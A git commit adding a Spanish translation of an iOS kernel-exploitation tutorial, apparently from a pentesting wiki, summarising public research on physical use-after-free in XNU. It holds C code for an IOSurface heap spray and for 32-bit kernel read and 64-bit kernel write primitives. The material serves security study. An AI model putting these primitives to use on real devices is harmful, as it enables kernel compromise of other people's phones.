Translated ['binary-exploitation/ios-exploiting.md'] to es

This commit is contained in:
Translator 2024-11-05 18:40:11 +00:00
parent 50566af1a5
commit 4c391d99c8
2 changed files with 204 additions and 0 deletions

View file

@ -778,6 +778,7 @@
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
## 🔩 Reversing

View file

@ -0,0 +1,203 @@
# iOS Exploiting
## Uso físico después de liberar
Este es un resumen de la publicación de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) además de que se puede encontrar más información sobre el exploit utilizando esta técnica en [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Gestión de memoria en XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
El **espacio de direcciones de memoria virtual** para procesos de usuario en iOS abarca desde **0x0 hasta 0x8000000000**. Sin embargo, estas direcciones no se mapean directamente a la memoria física. En cambio, el **núcleo** utiliza **tablas de páginas** para traducir direcciones virtuales en **direcciones físicas** reales.
#### Niveles de Tablas de Páginas en iOS
Las tablas de páginas están organizadas jerárquicamente en tres niveles:
1. **Tabla de Páginas L1 (Nivel 1)**:
* Cada entrada aquí representa un amplio rango de memoria virtual.
* Cubre **0x1000000000 bytes** (o **256 GB**) de memoria virtual.
2. **Tabla de Páginas L2 (Nivel 2)**:
* Una entrada aquí representa una región más pequeña de memoria virtual, específicamente **0x2000000 bytes** (32 MB).
* Una entrada L1 puede apuntar a una tabla L2 si no puede mapear toda la región por sí misma.
3. **Tabla de Páginas L3 (Nivel 3)**:
* Este es el nivel más fino, donde cada entrada mapea una única **página de memoria de 4 KB**.
* Una entrada L2 puede apuntar a una tabla L3 si se necesita un control más granular.
#### Mapeo de Memoria Virtual a Física
* **Mapeo Directo (Mapeo por Bloque)**:
* Algunas entradas en una tabla de páginas **mapean directamente un rango de direcciones virtuales** a un rango contiguo de direcciones físicas (como un atajo).
* **Puntero a Tabla de Páginas Hija**:
* Si se necesita un control más fino, una entrada en un nivel (por ejemplo, L1) puede apuntar a una **tabla de páginas hija** en el siguiente nivel (por ejemplo, L2).
#### Ejemplo: Mapeo de una Dirección Virtual
Supongamos que intentas acceder a la dirección virtual **0x1000000000**:
1. **Tabla L1**:
* El núcleo verifica la entrada de la tabla de páginas L1 correspondiente a esta dirección virtual. Si tiene un **puntero a una tabla de páginas L2**, va a esa tabla L2.
2. **Tabla L2**:
* El núcleo verifica la tabla de páginas L2 para un mapeo más detallado. Si esta entrada apunta a una **tabla de páginas L3**, procede allí.
3. **Tabla L3**:
* El núcleo busca la entrada final L3, que apunta a la **dirección física** de la página de memoria real.
#### Ejemplo de Mapeo de Direcciones
Si escribes la dirección física **0x800004000** en el primer índice de la tabla L2, entonces:
* Las direcciones virtuales desde **0x1000000000** hasta **0x1002000000** se mapean a direcciones físicas desde **0x800004000** hasta **0x802004000**.
* Este es un **mapeo por bloque** a nivel L2.
Alternativamente, si la entrada L2 apunta a una tabla L3:
* Cada página de 4 KB en el rango de direcciones virtuales **0x1000000000 -> 0x1002000000** sería mapeada por entradas individuales en la tabla L3.
### Uso físico después de liberar
Un **uso físico después de liberar** (UAF) ocurre cuando:
1. Un proceso **asigna** algo de memoria como **legible y escribible**.
2. Las **tablas de páginas** se actualizan para mapear esta memoria a una dirección física específica a la que el proceso puede acceder.
3. El proceso **desasigna** (libera) la memoria.
4. Sin embargo, debido a un **error**, el núcleo **olvida eliminar el mapeo** de las tablas de páginas, aunque marca la memoria física correspondiente como libre.
5. El núcleo puede entonces **reasignar esta memoria física "liberada"** para otros propósitos, como **datos del núcleo**.
6. Dado que el mapeo no se eliminó, el proceso aún puede **leer y escribir** en esta memoria física.
Esto significa que el proceso puede acceder a **páginas de memoria del núcleo**, que podrían contener datos o estructuras sensibles, lo que potencialmente permite a un atacante **manipular la memoria del núcleo**.
### Estrategia de Explotación: Heap Spray
Dado que el atacante no puede controlar qué páginas específicas del núcleo se asignarán a la memoria liberada, utilizan una técnica llamada **heap spray**:
1. El atacante **crea un gran número de objetos IOSurface** en la memoria del núcleo.
2. Cada objeto IOSurface contiene un **valor mágico** en uno de sus campos, lo que facilita su identificación.
3. Ellos **escanean las páginas liberadas** para ver si alguno de estos objetos IOSurface aterrizó en una página liberada.
4. Cuando encuentran un objeto IOSurface en una página liberada, pueden usarlo para **leer y escribir en la memoria del núcleo**.
Más información sobre esto en [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Proceso Paso a Paso de Heap Spray
1. **Rociar Objetos IOSurface**: El atacante crea muchos objetos IOSurface con un identificador especial ("valor mágico").
2. **Escanear Páginas Liberadas**: Verifican si alguno de los objetos ha sido asignado en una página liberada.
3. **Leer/Escribir en la Memoria del Núcleo**: Al manipular campos en el objeto IOSurface, obtienen la capacidad de realizar **lecturas y escrituras arbitrarias** en la memoria del núcleo. Esto les permite:
* Usar un campo para **leer cualquier valor de 32 bits** en la memoria del núcleo.
* Usar otro campo para **escribir valores de 64 bits**, logrando un **primitivo de lectura/escritura estable en el núcleo**.
Generar objetos IOSurface con el valor mágico IOSURFACE_MAGIC para buscar más tarde:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Busca objetos **`IOSurface`** en una página física liberada:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Logrando Lectura/Escritura en el Kernel con IOSurface
Después de lograr el control sobre un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde el espacio de usuario), podemos usarlo para **operaciones arbitrarias de lectura y escritura en el kernel**.
**Campos Clave en IOSurface**
El objeto IOSurface tiene dos campos cruciales:
1. **Puntero de Conteo de Uso**: Permite una **lectura de 32 bits**.
2. **Puntero de Marca de Tiempo Indexada**: Permite una **escritura de 64 bits**.
Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura.
#### Lectura de Kernel de 32 Bits
Para realizar una lectura:
1. Sobrescribe el **puntero de conteo de uso** para que apunte a la dirección objetivo menos un desplazamiento de 0x14 bytes.
2. Usa el método `get_use_count` para leer el valor en esa dirección.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Escritura en el Kernel de 64 Bits
Para realizar una escritura:
1. Sobrescribe el **puntero de marca de tiempo indexado** a la dirección objetivo.
2. Usa el método `set_indexed_timestamp` para escribir un valor de 64 bits.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Resumen del Flujo de Explotación
1. **Activar Uso-Físico Después de Liberar**: Las páginas liberadas están disponibles para reutilización.
2. **Rociar Objetos IOSurface**: Asignar muchos objetos IOSurface con un "valor mágico" único en la memoria del kernel.
3. **Identificar IOSurface Accesible**: Localizar un IOSurface en una página liberada que controlas.
4. **Abusar del Uso-Físico Después de Liberar**: Modificar punteros en el objeto IOSurface para habilitar **lecturas/escrituras** arbitrarias en el **kernel** a través de métodos IOSurface.
Con estas primitivas, la explotación proporciona **lecturas de 32 bits** y **escrituras de 64 bits** en la memoria del kernel. Los pasos adicionales de jailbreak podrían involucrar primitivas de lectura/escritura más estables, lo que puede requerir eludir protecciones adicionales (por ejemplo, PPL en dispositivos arm64e más nuevos).